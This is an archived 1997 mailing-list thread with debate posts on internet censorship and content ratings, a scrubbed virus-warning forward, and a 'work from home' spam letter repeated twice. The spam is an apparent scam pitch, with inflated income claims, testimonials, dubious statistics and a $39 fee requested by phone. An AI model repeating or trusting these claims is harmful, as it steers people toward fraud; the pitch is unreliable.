the world is buhdist(sp?) and I heavily study martial arts, in which I
excell only because of my study of the culture and religous background
involved with martial arts. I am the *farthest* person from advocating
or backing many of the suggested plans of the christian community in
dealing with these issues.

Anonymous wrote:

> 
> The size of the majority does NOT have anything to do with >what's "right", particularily when it comes to religion.
> 
You are correct, I was merely responding to his statement.

> That much I have read.  And nowhere do I see that >"Christian beliefs" are the cornerstone of our country.  
>
To show how much this country *was* in fact based upon Christianity, one
has only to look at our money. "In *God* we trust. Also, the majority of
our founding fathers were in fact christians. Yet they correctly
surmised that plans needed to be made and coopertive efforts begun
between all the people in order for harmonious living to be even a
remote possibility.

>As a matter of fact, I see writing that specifically says >that religion is NOT a part of our government, and that the >two shall NOT intermix.  Very specific. 
> 
Yes, yet also that ruling came into existence *long* after the
constitution had been designed, ratified, and accepted by the original
colonists. And this was passed after the Church became far too powerful,
and a few tried to influence the whole via a emensely powerful political
base. (We can thank the Roman Catholic church for the necessity of this
law.)

>SOME of the founders of our country were personally very >religious. But some of them were atheists.  They were a >mix of beliefs.  However, all of them felt the persecution >of the English theocracy, and were writing the Constitution >specifically to avoid creating such an evil monstrosity >here.  I think they did a good job.  
>
They did an *excellent* job. I fought to ensure that the work they did,
did not come undone in our time. (I am sorry, I can not go into
specifics.) Also, they were correct in trying to keep the English form
of government out of the new country. Unfortunately, I doubt if any of
them would be happy with the government of today, as many of the spirits
residing within the wording of the constitution are blatently violated
on an everyday basis by our current government. I am sure many would be
down right pissed at what is taking place today!

>They wanted the freedom to practice their own religions >here.  They officially did NOT lay down WHICH religions >were to be practiced. That's why we all fight to keep the >net out of Christian hands.
> 
I do not know how to correctly word my thoughts on that statement so I
will decline for the moment. You seem to think that I am one of the
christian members who thinks that anything even remotely repulsive or
offbeat should be expunged from the net. You could not be more wrong.
But I do not know the words to explain what I feel and think on this
issue. Or at least in a way that would not come out wrong.

> My surefire plan, which has worked **100%** is to monitor >my child's net surfing. He's 9, and I really don't want him >stumbling into www.seXXX.whatever.
> 
I agree that that is one of the things needed. Responsible parenting. I
don't want mine doing that either. I guess what I am saying is that, for
those parents that do not do that, don't we have an obligation to at
least think of those children that do *not* have that? I mean, don't we
at least have the moral obligation to *not* take the stance of "Fuck
them!"? I care for all children, not just my own. These children are
going to take the reins of this world from *us*. They will either
contribute to this world or detract from it. I'm suggesting that we come
together to responsibly teach them about the world around them. It is
big, complex, and scary, even for adults. Let's not just throw them to
the wolves and say "Fend for yourselves." There are some things that
have the major potential to be harmful to a child's psyche out on the
net and in real life. No, let's not ban things just because they are
offensive to some. I do suggest that some things have no place either in
cyberspace or the real world. Why? Because society in general has agreed
that these things are an affront to the community as a whole. Either
locally or globally. Take NAMBLA (National Man/Boy Lovers Association),
who feel that a 5 year old child is capable of making an informed
decision on whether it is OK for him (the child) to have sex with an
older man. 5 YEARS OLD!!??!!?? I don't think so. And neither does a
*majority* of the world population! These types of things are policed by
law enforcement agencies on and off the net, majoratively, by the
general public across the globe. *These* issues are the ones that I
would ban. Yes, if that violates the rights and freedoms of a few, then
yes. I would do it, for the good of the majority. I'm not talking about
pissing in a cup and putting a cross in it and then calling it art.
These issues are mundane compared to issues like NAMBLA. I don't agree
that it is art, but I don't advocate denying them the right to do so.

> When he's old enough to handle reality when he trips over >it, I'll let him.  That's MY job.  Not yours.
> 
I never said it was my job. I would use my best judgement in the event
of your absence, but when you are available it is definitely your
choice.

> Do you let your child walk unescorted through the streets >of New York City?  London?  Moscow?  Singapore?  Chicago?  >Detroit?  Beijing?  If so, I hope that you are arrested for >neglect.  You have no business turning an unescorted child >loose on the streets.
> 
I agree wholeheartedly and would testify to such at your trial. Yet,
then the question becomes one of: If you feel that way about the streets
of NY and the like, then why the  difference of opinion about the
internet? Is it because it is a virtual place? You think of physical
damage to the child. Ideas and mental damage have far longer, and
deeper, lasting effects than most physical injuries. 

> Parents who do not monitor their children on the net are >as guilty of neglect as those who would turn them loose on >the streets of a foreign city.
> 
Once again we are in agreeance.

> You have no business turning an unescorted child loose on >the web. Are you prepared to have him put his e-mail >address into some stranger's form?  www.childstalkers.com >or www.lolitawatch.org(tm) might love to have it.
> 
Yet again we agree.

> The web is an adult place, where adult thought is allowed >to flow.
> 
Yes it is, yet more and more children are gaining access to the net
everyday. One major contributing factor to this is the use of computers
in school, of which I am a major advocate.

> 
> The whole point of allowing adult thought is this:
> 
>     We couldn't even have this discussion on a
>     "Judeo-Christian-child-safe" Internet.
> 
> Think carefully about this.
> 
I never suggested that we sanatize the net into that.

> Now, to answer why we're opposed to ratings, look at the >"voluntary" ratings labels placed on music albums.  There >are major discount stores that WILL NOT CARRY CDs that are >labeled "Warning: Adult Lyrics." The "voluntary" label >means the loss of thousands of retail outlets, and the >potential loss of tens of thousands of sales, all because >the record company thought it best to voluntarily be >"child-safe". Other stores require you to be 18 to purchase >them, and require ID. There are municipalities that have >considered laws to make it illegal to sell these >"voluntarily labeled" albums to children under 18.
> 
If the songs are about expression then, no. Don't ban them. But if they
advocate the killing of cops or how great it is to be a gangster and
shoot other people like Vanilla Ice and Snoop Doggy Dog did, then yes. I
say ban them. Why? They violate the very principles of life... life is
sacred, and it's they only one we got.

> So, if there were a net rating system that became widely >used, you can bet your child's college money on the fact >that every major corporation in the United States will put >a ratings filter on their firewall.  The entire Internet >service to Singapore, Malasia, Indonesia and China will be >filtered by ratings.  Half the ISPs in the USA will
>probably follow suit, as will AOL and Prodigy.  That is why >a rating system is so bad.
> 
There is a major difference bewteen rating a site and completely banning
a site due to it's rating in that system. No organization has the right
to make the decision for me about whether or not I can have access to
that site even if it falls into the "filth" rating. That is *my* choice
and decision to make not theirs'. Therein lies the problem, not in the
rating system itself. The problem develops when these groups tell me I
can not access them. Their rating system, my choices.

> There's plenty of precedent for clamping down on >ThoughtCrime.
> 
Define your idea of thoughtcrime and we'll see just how much we really
disagree.

>YOU want to clamp down on ThoughtCrime.  That's why YOU are
> dangerous to society.  Not the pornographers.  YOU, the >censors.
> 
LOL, not *even* going to waste time on *that* statement!

From admin at CyberSpaceTechnologies.com  Fri Aug  8 22:24:04 1997
From: admin at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Sat, 9 Aug 1997 13:24:04 +0800
Subject: [Fwd: [Fwd: Virus Warning]][Fwd: Virus Warning]
Message-ID: <33EC326A.31390DFF@cyberspacetechnologies.com>

An embedded message was scrubbed...
From: unknown sender
Subject: no subject
Date: no date
Size: 1155
URL: 

From 09188466 at hydra.com.au  Sat Aug  9 13:43:11 1997
From: 09188466 at hydra.com.au (09188466 at hydra.com.au)
Date: Sat, 9 Aug 1997 13:43:11 -0700 (PDT)
Subject: INTERNATIONAL COMPANY SEEKS HELP!!
Message-ID: <>

Hello!

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Dear Friend,

Have you ever driven by a mansion and wondered how somebody could possibly afford to live there, and not be doing something illegal? Or seen people having a leisurely lunch at a lavish restaurant as you rush back to work after eating fast food?  How can people living in the same country, with the same education, and the same skills, be living such different lives?  

Many of us try to live a little better by using finance companies to buy things we couldn't otherwise afford.  I had a real eye-opening experience when I bought some furniture.  The salesman told me it was "90 days same as cash".  When it didn't look like I could pay the money back in 90 days, they told me it was no problem, I could make payments.  Then I read the fine print and almost fell over when I realized they were going to charge me 29% interest!

Another sad fact is he percentage of money saved or invested in our country.  We rank last in the western world in terms of money in savings, and first in terms of credit card debt. Think of what would happen if anything happened to you, and your family had to take on your financial situation right now.  If you think you are safe with the credit card protection offered by the card companies, read the fine print.  They only pay the minimum each month which again only covers the interest!  The finance companies win again. 

DID YOU SAVE $12,000 LAST YEAR?  $1200?  $120?  ANY?

How much will you have saved in the next five years?  If things don't drastically change, you can double your last five years savings amount and you will have your answer.  For most people, that is not a pleasant prospect.  But say you are one of the lucky people who have some savings, and you look forward to living off the interest in retirement, well!!..

WHAT ABOUT RETIREMENT?

Did you know that it takes a bank account of over $250,000 earning at least 5% interest to provide a monthly income of about $1,150?  That is roughly the welfare allowance of a single mother of four!  When do you think you'll have your $250,000 in the bank?  And in 10 to 20 years will you pay the electric bill or the phone bill with $1,150 per month?  If this sounds drastic, the reality is even worse.  What about the medical bill emergencies that may pop up?  They usually become more frequent as you get older.

What to people do?  Do you want the truth?  95% die broke after working 40 years.  U.S. NEWS & WORLD REPORT wrote, "Many people will need to keep earning a paycheck into their 70s!  It's too late for them to save enough to quit working at 65."

Consider this.  The Bureau of Labor Statistics revealed that out of 100 people who start working at age 25, by the age of 65 ...

* 1% Are wealthy
* 4% Have adequate capital for retirement
* 3% Are still working
* 63% Are dependent on Social Security, friends, relatives or charity
* 29% are dead

How does $40,000 per year sound?  If you wish to retire with this income, it would take $1.9 Million in tax-deferred accounts to provide that income if a 35-year-old today would retire at age 65!! That means you would have to be able to save $3,333.33 PER MONTH starting now!  Can you possibly save that kind of money with your current income?  And imagine what $40,000 will be worth in 30 years.  That income would probably keep you at poverty level in the year 2027.

SO WHAT'S THE ANSWER?

The answer is usually simpler than you might think.  Unless you inherited a large sum of money or hit the lottery, people with an above average lifestyle usually work for themselves!  Here is the breakdown of who controls the most percentage of wealth in America ...

* 74%  PEOPLE WHO OWN THEIR OWN BUSINESS
* 10% Top executives and CEOs
* 10% Professionals like doctors and lawyers
* 5% Sales People
* 1% Everyone else!

Those figures used to make me mad because I used to be in the 1% category!  I worked as hard as I could for 40-60 hours per week and all I did was make someone else more money.  Then I looked at the percentage of taxes I was paying, and I realized it was higher than the percentage others paid who were making ten times what I was!  The reason was I couldn't write anything off if I worked for someone else.  ALL my income was taxable.

I soon understood that the laws and the odds in America favored those who ran their own businesses.  My first problem was, I had no business training or experience, and secondly I was broke! At that time in my life the only job I had held was as an electrician and my wife Candace's experience came from being a secretary in the construction business.  My confidence level to make a change in my life was zero.  On the positive side, I was mad about how unfair it all seemed.  This anger finally got me into ACTION when the right opportunity presented itself.

I GET MY CHANCE!

My life changed when a friend of mine shared the information you are getting in this booklet.  What he presented to me was a turnkey work-at-home business that I could start with the skills and money I had, and have immediate success, so I was encouraged to continue.  With the power of our advertising and mail-order system, I didn't even have to know anybody in my local area!  In the first month, I earned $1,735.60 profit part-time from my home.  By my eleventh month I made over $10,000 a month, and now for five years my income working from home has been steady and is currently over $25,000 PER MONTH!

At this point you might think, "Oh, this can't be true - all of these things are a scam" or "These things only happen to other people."  Well I'm here to tell you not only am I one of those "other" people, but I have trained many of those other people who are now living the life of their dreams.  Many of them have EXACTLY YOUR background.

YOU CAN DO THIS!  THE SECRET IS OUR SYSTEM

The key to our success lies in our SYSTEM.  As I said before, this is a turnkey work-from-home mail order system.  Our system provides goods and services to people who are searching for exactly what we have.  The mail order business is a 427 billion dollar a year industry, and all forms of direct sales are predicted to double in the next 5 - 7 years!  The growth potential is unlimited!

What allowed me to be earning $10,000 A MONTH INCOME IN 11 MONTHS was the good fortune I had in finding suppliers who would sell me products that were in high demand, and training in this system step-by-step so even I could understand it!  These TRADE SECRETS are what we are willing to pass on to you.  What is required from you is the burning desire to make some changes in your life, and a willingness to be teachable.

SUCCESS TAKES EFFORT

Now if you are looking for some get-rich-quick scheme that guarantees all the money you can dream of with no effort, I'm sorry to tell you this is the real world where those promises usually end up getting you in trouble one way or another.  However, if you are like I was and are used to an honest day's work but aren't used to a generous day's pay, this MIGHT be for you.  I say "might" because not everybody who wishes for success has the determination to stick to a plan of action until they are a success.  That is why so many Americans accept a small paycheck from someone who is willing to organize themselves!  When you cash a mediocre paycheck you are in effect agreeing, when you endorse the check, that your time and labor are only worth that small amount.

What I learned from this experience is that contrary to what we have all been taught, the money you make in life has nothing to do with fairness, hard work, formal education, or years on the job.  What does increase your ability to earn above average money is the ability to adapt to a different direction when the road you are on is not leading you to your desired destination.  Why continue in frustration doing the same things over and over again when they have never produced results for you in the past?  Wouldn't it be better to try something new than to keep hitting your head on the same brick wall over and over?  The quality I observed in truly successful people is that they have the ability to adapt.  They spend 5% of their time identifying the problems they face, and 95% of their time finding solutions.  Most of us have the equation backwards.  We spend 95% of our time complaining about our problems while 5% of our energy, if we are lucky, is spent on finding new solutions!
!

So what are our options?  If you listen very hard you might hear the sound of some people throwing these pages in the garbage.  The result is that they may continue making the same decisions that led them to the dead end they find themselves in today.  Some of these are wonderful people, but they just don't have the ability to adapt and change.  You might call this the dinosaur mentality that leads to the extinction of the realization of their hopes and dreams.

The other option is to follow a proven method of change that may be new and challenging in the beginning, but has the ability to produce the results that you wish for your life.

LET'S START NOW

If this would work for you, what would you use the extra money and freedom of time for?  I suggest you take the time right now to make a "Dream" list.  If money wasn't an obstacle, what would you do in your life?  Allow yourself to dream the "impossible" and write it down.  If you are one of the small percentage of people who took the time to actually do this, congratulations!  You just took an important first step toward changing your life.  Many people who didn't, or stopped reading this book long ago were screened out and their options are no better than when they received this material.

Think of it this way - when you were a child you could dream about how you wanted your life to turn out easily, couldn't you?  Then as you experienced life most of us have been beaten up pretty badly at certain points.  The result is that many people stopped allowing themselves to DREAM.  They became afraid to be disappointed yet again.

What helped me was associating with people who ARE a success, and allowing their successful habits and thinking to influence me.  But one step further than this was to actually have those people help me start my own business.  I also had them available as a resource to help me refine my efforts so I was working smarter not harder!  You may obtain useful information from reading self-help books, but try to get the author of those books to actually help you build your business.  With our system, you are never just on your own!

FOLLOW THROUGH MAKES DREAMS A REALITY

Now, the next part of making your dreams a reality is to FOLLOW THROUGH with directed activity that can create the situation you want in your life.  You can do that when you finish reading this book by phoning the number you will find at the end of this letter.  Again, the people who do can take further steps towards a better future, while the rest are screened out.  But if you've followed along this far, you ALREADY TOOK your first steps, and now you can use that momentum to get you to your goals!

Let me tell you about some people I have had the pleasure of working with, and how they have used this system for themselves ...

MINDY

Mindy is a single mom who was a real estate broker.  She made great money but she was burnt out and tired of assuming the personal liability for what others did.  She used to cry many times at night because the burn-out led to both professional and personal problems that devastated her financially.  She didn't know how to do anything else that would allow her to earn a decent living and still be involved with her son's schooling and daily activities.

At that time in her life Mindy responded to some information similar to what you are reading.  At first she hesitated, but her anxiety and frustration pushed her to leave "no stone unturned" in her pursuit to build a better future for her family and ease the financial pressures.  She followed all the instructions she received and by the end of the first month she had earned $4,500.  In less than one year her monthly income was over $8,000 a month.  Today she earns $12,000 to $15,000 consistently each month and is free from the stresses she had been under.  Working at home, Mindy can now spend as much time as she wishes with her family.

JACK AND JEAN

Jack and Jean live in North Dakota and are close to retiring.  Jack works for the railroad and Jean works for the government in a program that provides subsidies for farmers.  As is the case with most people retiring, their pension income won't provide the lifestyle they dreamed of throughout their careers.  Also, Jack's health wasn't great and he wanted something constructive to work on after his retirement.  But they didn't want something so time-consuming that they couldn't enjoy themselves or take frequent vacations.

They found their answer in this little booklet!  Their first month they earned $1,243 and by their third month, they were earning over $1,600 per month consistently - that's over $400 per week PART TIME!  By their eleventh month our system was generating another $350 per month residual income for Jack and Jean.  The extra $350 is mailbox money - that is money that comes automatically as a result of business built in the past!  As a part of our system, there is a retirement program built right in.  As a matter of fact, I retired myself for one year, and currently I am only 42 years old!

BOB

That's me!  Yes, after 11 months I was earning $10,000 per month income - now it's over $25,000 per month and I retired for a year.  Sounds unbelievable?  I sometimes have a hard time believing it myself!  And it happened to me!  I also traveled to Europe and several Caribbean islands for extended periods of time, and now live by a beautiful lake in Orange County, California.  With our system, you can also expand your business around the world and be one of the people doing business in many countries as they open up for trade with the U.S.  Remember the old saying, "Choose a job that you love and you will never have to work a day in your life."  You will have more fun and satisfaction in this adventure than you can imagine.

YOU MUST DECIDE

Now is the time for you to decide about your future.  Are you going to continue down the same road you have been traveling?  Or are you willing to make a positive change in your life by trying something new?  Remember, "For things to change in your life you've got to change, for things to get better you've got to get better." - Jim Rohn

You have to make the decision to take the next step.  You have already gone so far in completing this book, why not allow yourself the things you want out of life by following through with a phone call?  What do you have to lose?  More importantly, what do you have to gain?  Opportunity ignored seldom returns again.  Don't let your dream lifestyle pass you by like millions of others who will have to go to work tomorrow with no hope of ever achieving what they truly desire, and retire to old age, poor health, and a feeling that they somehow missed something incredible in their lives!

All it takes is a simple phone call.  With a little effort and the ability to be teachable, we can definitely show you how to be successful with our system.  You will have a personal mentor who will work with you step by step, and show you exactly how you too can build a successful home-based business without unacceptable risks.

Who knows, maybe someday you will be sharing the secrets of how you built an incredible lifestyle with those who are still just - WORKING for a living!

I look forward to hearing from you and working with you personally.

Sincerely, Bob Anderson

WOULD YOU LIKE TO RECEIVE CHECKS LIKE THESE IN YOUR MAILBOX?

* 12/15/96 -- $12,429.35 (royalties)
* 12/20/96 -- $13,406.77 (bonuses)
* 01/15/96 -- $12,292.15 (royalties)
* 01/20/96 -- $13,702.09 (bonuses)

"THOUGHTS DETERMINE WHAT YOU WANT ...

ACTION DETERMINES WHAT YOU GET!"

MAKES YOUR DREAMS REALITY

CALL:  1-801-350-8718

(P.S. - for payment, the "name on the book" that the recording refers to is Michael Bishop.  This name appears on the postal direct mail version.)

From 09188466 at hydra.com.au  Sat Aug  9 13:43:11 1997
From: 09188466 at hydra.com.au (09188466 at hydra.com.au)
Date: Sat, 9 Aug 1997 13:43:11 -0700 (PDT)
Subject: INTERNATIONAL COMPANY SEEKS HELP!!
Message-ID: <>

Hello!

We are a multi-billion dollar per year international company that is looking for serious, teachable, motivated people who want to start a business from their home.  We are not looking for people who are unemployed and looking for a job.  We need people who want to spend time with their families while making a substantial amount of money. If this describes you, please read on!

Take a few minutes to read the following booklet very carefully right now.  This booklet has been extraordinarily successful in both direct mail and e-mail form and has absolutely been the answer to many peoples' dream of freedom to work around their families/children, AND having complete control over their lifestyle and income.  All you need to do to begin is carefully read the information and follow the instructions.

This is a Direct Marketing program that will have interested people contacting you.  You do not need any special schooling; training is provided and no experience is necessary.  If you are teachable and motivated and would like to earn income from home, then we want to get you started TODAY.

Unlike most Work-at-Home "opportunities", this is not envelope stuffing or home assembly where the work is hard and the compensation is low.  This is a very lucrative business opportunity that has allowed me to almost double my income in the last year!

It is very important that you read the booklet thoroughly so that you may begin the training on how this program works.  It will describe the smart way to make money and keep it.  After reading the booklet, there will be a phone number for you to call that will put you into a short recording that will ask you to leave your name and address in order to receive our startup materials which you will have 30 days to inspect.  The materials cost only $39.00 and are fully guaranteed to be exactly what you are looking for or your money is refunded.

PLEASE NOTE: Because of our tremendous success and the overwhelming response to our advertising, we can afford to be picky about who we choose to work with to make a lot of money - for this reason, you are going through this screening process of reading the book and calling the number.  Many people who are just "tire-kickers" will not get that far - this is exactly what we want.  By the time you call and order the startup information, we will know that you are one of the serious ones who ARE teachable and motivated.  It is you that we want, not the people who get screened out because they are lazy or not teachable enough to follow these simple instructions.

I can only encourage you with all my heart to not get screened out!  You are sitting on a gold mine as you read this letter.  After you follow the instructions in the booklet, you will be put in contact with a local person to help you and guide you through your new way of life.  This person will help you start your new, exciting future!

Sincerely,

M. Bishop

                     WORK FORM HOME E-MAIL BOOKLET

WORK FROM HOME!!

TAP INTO A $427 BILLION DOLLAR INDUSTRY THAT WANTS YOU!

LET US SHOW YOU HOW!

IMAGINE ... YOUR FUTURE ...

You live in the home of your dreams
You drive the car of your dreams
You experience the vacation of your dreams, with your family
You love what you do every day ...
You are happy ...

WE CAN TAKE YOU THERE!!

Dear Friend,

Have you ever driven by a mansion and wondered how somebody could possibly afford to live there, and not be doing something illegal? Or seen people having a leisurely lunch at a lavish restaurant as you rush back to work after eating fast food?  How can people living in the same country, with the same education, and the same skills, be living such different lives?  

Many of us try to live a little better by using finance companies to buy things we couldn't otherwise afford.  I had a real eye-opening experience when I bought some furniture.  The salesman told me it was "90 days same as cash".  When it didn't look like I could pay the money back in 90 days, they told me it was no problem, I could make payments.  Then I read the fine print and almost fell over when I realized they were going to charge me 29% interest!

Another sad fact is he percentage of money saved or invested in our country.  We rank last in the western world in terms of money in savings, and first in terms of credit card debt. Think of what would happen if anything happened to you, and your family had to take on your financial situation right now.  If you think you are safe with the credit card protection offered by the card companies, read the fine print.  They only pay the minimum each month which again only covers the interest!  The finance companies win again. 

DID YOU SAVE $12,000 LAST YEAR?  $1200?  $120?  ANY?

How much will you have saved in the next five years?  If things don't drastically change, you can double your last five years savings amount and you will have your answer.  For most people, that is not a pleasant prospect.  But say you are one of the lucky people who have some savings, and you look forward to living off the interest in retirement, well!!..

WHAT ABOUT RETIREMENT?

Did you know that it takes a bank account of over $250,000 earning at least 5% interest to provide a monthly income of about $1,150?  That is roughly the welfare allowance of a single mother of four!  When do you think you'll have your $250,000 in the bank?  And in 10 to 20 years will you pay the electric bill or the phone bill with $1,150 per month?  If this sounds drastic, the reality is even worse.  What about the medical bill emergencies that may pop up?  They usually become more frequent as you get older.

What to people do?  Do you want the truth?  95% die broke after working 40 years.  U.S. NEWS & WORLD REPORT wrote, "Many people will need to keep earning a paycheck into their 70s!  It's too late for them to save enough to quit working at 65."

Consider this.  The Bureau of Labor Statistics revealed that out of 100 people who start working at age 25, by the age of 65 ...

* 1% Are wealthy
* 4% Have adequate capital for retirement
* 3% Are still working
* 63% Are dependent on Social Security, friends, relatives or charity
* 29% are dead

How does $40,000 per year sound?  If you wish to retire with this income, it would take $1.9 Million in tax-deferred accounts to provide that income if a 35-year-old today would retire at age 65!! That means you would have to be able to save $3,333.33 PER MONTH starting now!  Can you possibly save that kind of money with your current income?  And imagine what $40,000 will be worth in 30 years.  That income would probably keep you at poverty level in the year 2027.

SO WHAT'S THE ANSWER?

The answer is usually simpler than you might think.  Unless you inherited a large sum of money or hit the lottery, people with an above average lifestyle usually work for themselves!  Here is the breakdown of who controls the most percentage of wealth in America ...

* 74%  PEOPLE WHO OWN THEIR OWN BUSINESS
* 10% Top executives and CEOs
* 10% Professionals like doctors and lawyers
* 5% Sales People
* 1% Everyone else!

Those figures used to make me mad because I used to be in the 1% category!  I worked as hard as I could for 40-60 hours per week and all I did was make someone else more money.  Then I looked at the percentage of taxes I was paying, and I realized it was higher than the percentage others paid who were making ten times what I was!  The reason was I couldn't write anything off if I worked for someone else.  ALL my income was taxable.

I soon understood that the laws and the odds in America favored those who ran their own businesses.  My first problem was, I had no business training or experience, and secondly I was broke! At that time in my life the only job I had held was as an electrician and my wife Candace's experience came from being a secretary in the construction business.  My confidence level to make a change in my life was zero.  On the positive side, I was mad about how unfair it all seemed.  This anger finally got me into ACTION when the right opportunity presented itself.

I GET MY CHANCE!

My life changed when a friend of mine shared the information you are getting in this booklet.  What he presented to me was a turnkey work-at-home business that I could start with the skills and money I had, and have immediate success, so I was encouraged to continue.  With the power of our advertising and mail-order system, I didn't even have to know anybody in my local area!  In the first month, I earned $1,735.60 profit part-time from my home.  By my eleventh month I made over $10,000 a month, and now for five years my income working from home has been steady and is currently over $25,000 PER MONTH!

At this point you might think, "Oh, this can't be true - all of these things are a scam" or "These things only happen to other people."  Well I'm here to tell you not only am I one of those "other" people, but I have trained many of those other people who are now living the life of their dreams.  Many of them have EXACTLY YOUR background.

YOU CAN DO THIS!  THE SECRET IS OUR SYSTEM

The key to our success lies in our SYSTEM.  As I said before, this is a turnkey work-from-home mail order system.  Our system provides goods and services to people who are searching for exactly what we have.  The mail order business is a 427 billion dollar a year industry, and all forms of direct sales are predicted to double in the next 5 - 7 years!  The growth potential is unlimited!

What allowed me to be earning $10,000 A MONTH INCOME IN 11 MONTHS was the good fortune I had in finding suppliers who would sell me products that were in high demand, and training in this system step-by-step so even I could understand it!  These TRADE SECRETS are what we are willing to pass on to you.  What is required from you is the burning desire to make some changes in your life, and a willingness to be teachable.

SUCCESS TAKES EFFORT

Now if you are looking for some get-rich-quick scheme that guarantees all the money you can dream of with no effort, I'm sorry to tell you this is the real world where those promises usually end up getting you in trouble one way or another.  However, if you are like I was and are used to an honest day's work but aren't used to a generous day's pay, this MIGHT be for you.  I say "might" because not everybody who wishes for success has the determination to stick to a plan of action until they are a success.  That is why so many Americans accept a small paycheck from someone who is willing to organize themselves!  When you cash a mediocre paycheck you are in effect agreeing, when you endorse the check, that your time and labor are only worth that small amount.

What I learned from this experience is that contrary to what we have all been taught, the money you make in life has nothing to do with fairness, hard work, formal education, or years on the job.  What does increase your ability to earn above average money is the ability to adapt to a different direction when the road you are on is not leading you to your desired destination.  Why continue in frustration doing the same things over and over again when they have never produced results for you in the past?  Wouldn't it be better to try something new than to keep hitting your head on the same brick wall over and over?  The quality I observed in truly successful people is that they have the ability to adapt.  They spend 5% of their time identifying the problems they face, and 95% of their time finding solutions.  Most of us have the equation backwards.  We spend 95% of our time complaining about our problems while 5% of our energy, if we are lucky, is spent on finding new solutions!
!

So what are our options?  If you listen very hard you might hear the sound of some people throwing these pages in the garbage.  The result is that they may continue making the same decisions that led them to the dead end they find themselves in today.  Some of these are wonderful people, but they just don't have the ability to adapt and change.  You might call this the dinosaur mentality that leads to the extinction of the realization of their hopes and dreams.

The other option is to follow a proven method of change that may be new and challenging in the beginning, but has the ability to produce the results that you wish for your life.

LET'S START NOW

If this would work for you, what would you use the extra money and freedom of time for?  I suggest you take the time right now to make a "Dream" list.  If money wasn't an obstacle, what would you do in your life?  Allow yourself to dream the "impossible" and write it down.  If you are one of the small percentage of people who took the time to actually do this, congratulations!  You just took an important first step toward changing your life.  Many people who didn't, or stopped reading this book long ago were screened out and their options are no better than when they received this material.

Think of it this way - when you were a child you could dream about how you wanted your life to turn out easily, couldn't you?  Then as you experienced life most of us have been beaten up pretty badly at certain points.  The result is that many people stopped allowing themselves to DREAM.  They became afraid to be disappointed yet again.

What helped me was associating with people who ARE a success, and allowing their successful habits and thinking to influence me.  But one step further than this was to actually have those people help me start my own business.  I also had them available as a resource to help me refine my efforts so I was working smarter not harder!  You may obtain useful information from reading self-help books, but try to get the author of those books to actually help you build your business.  With our system, you are never just on your own!

FOLLOW THROUGH MAKES DREAMS A REALITY

Now, the next part of making your dreams a reality is to FOLLOW THROUGH with directed activity that can create the situation you want in your life.  You can do that when you finish reading this book by phoning the number you will find at the end of this letter.  Again, the people who do can take further steps towards a better future, while the rest are screened out.  But if you've followed along this far, you ALREADY TOOK your first steps, and now you can use that momentum to get you to your goals!

Let me tell you about some people I have had the pleasure of working with, and how they have used this system for themselves ...

MINDY

Mindy is a single mom who was a real estate broker.  She made great money but she was burnt out and tired of assuming the personal liability for what others did.  She used to cry many times at night because the burn-out led to both professional and personal problems that devastated her financially.  She didn't know how to do anything else that would allow her to earn a decent living and still be involved with her son's schooling and daily activities.

At that time in her life Mindy responded to some information similar to what you are reading.  At first she hesitated, but her anxiety and frustration pushed her to leave "no stone unturned" in her pursuit to build a better future for her family and ease the financial pressures.  She followed all the instructions she received and by the end of the first month she had earned $4,500.  In less than one year her monthly income was over $8,000 a month.  Today she earns $12,000 to $15,000 consistently each month and is free from the stresses she had been under.  Working at home, Mindy can now spend as much time as she wishes with her family.

JACK AND JEAN

Jack and Jean live in North Dakota and are close to retiring.  Jack works for the railroad and Jean works for the government in a program that provides subsidies for farmers.  As is the case with most people retiring, their pension income won't provide the lifestyle they dreamed of throughout their careers.  Also, Jack's health wasn't great and he wanted something constructive to work on after his retirement.  But they didn't want something so time-consuming that they couldn't enjoy themselves or take frequent vacations.

They found their answer in this little booklet!  Their first month they earned $1,243 and by their third month, they were earning over $1,600 per month consistently - that's over $400 per week PART TIME!  By their eleventh month our system was generating another $350 per month residual income for Jack and Jean.  The extra $350 is mailbox money - that is money that comes automatically as a result of business built in the past!  As a part of our system, there is a retirement program built right in.  As a matter of fact, I retired myself for one year, and currently I am only 42 years old!

BOB

That's me!  Yes, after 11 months I was earning $10,000 per month income - now it's over $25,000 per month and I retired for a year.  Sounds unbelievable?  I sometimes have a hard time believing it myself!  And it happened to me!  I also traveled to Europe and several Caribbean islands for extended periods of time, and now live by a beautiful lake in Orange County, California.  With our system, you can also expand your business around the world and be one of the people doing business in many countries as they open up for trade with the U.S.  Remember the old saying, "Choose a job that you love and you will never have to work a day in your life."  You will have more fun and satisfaction in this adventure than you can imagine.

YOU MUST DECIDE

Now is the time for you to decide about your future.  Are you going to continue down the same road you have been traveling?  Or are you willing to make a positive change in your life by trying something new?  Remember, "For things to change in your life you've got to change, for things to get better you've got to get better." - Jim Rohn

You have to make the decision to take the next step.  You have already gone so far in completing this book, why not allow yourself the things you want out of life by following through with a phone call?  What do you have to lose?  More importantly, what do you have to gain?  Opportunity ignored seldom returns again.  Don't let your dream lifestyle pass you by like millions of others who will have to go to work tomorrow with no hope of ever achieving what they truly desire, and retire to old age, poor health, and a feeling that they somehow missed something incredible in their lives!

All it takes is a simple phone call.  With a little effort and the ability to be teachable, we can definitely show you how to be successful with our system.  You will have a personal mentor who will work with you step by step, and show you exactly how you too can build a successful home-based business without unacceptable risks.

Who knows, maybe someday you will be sharing the secrets of how you built an incredible lifestyle with those who are still just - WORKING for a living!

I look forward to hearing from you and working with you personally.

Sincerely, Bob Anderson

WOULD YOU LIKE TO RECEIVE CHECKS LIKE THESE IN YOUR MAILBOX?

* 12/15/96 -- $12,429.35 (royalties)
* 12/20/96 -- $13,406.77 (bonuses)
* 01/15/96 -- $12,292.15 (royalties)
* 01/20/96 -- $13,702.09 (bonuses)

"THOUGHTS DETERMINE WHAT YOU WANT ...

ACTION DETERMINES WHAT YOU GET!"

MAKES YOUR DREAMS REALITY

CALL:  1-801-350-8718

(P.S. - for payment, the "name on the book" that the recording refers to is Michael Bishop.  This name appears on the postal direct mail version.)

From digital_matrix at hotmail.com  Fri Aug  8 22:59:54 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Sat, 9 Aug 1997 13:59:54 +0800
Subject: Apology from me to the list and TruthMonger
Message-ID: <19970809053931.20560.qmail@hotmail.com>

LOL, all right, all right. I'll take my lickings and like it. I 
apologize. I came off far from what I was trying to say. I was really 
pissed off at what TruthMonger said in the email. I took major offense 
at his use of Jesus in the mail in the context in which he did. I am NOT 
one who believes in the banning of sites based on a rating syste, I 
believe that based on the rating system you should be able to decide 
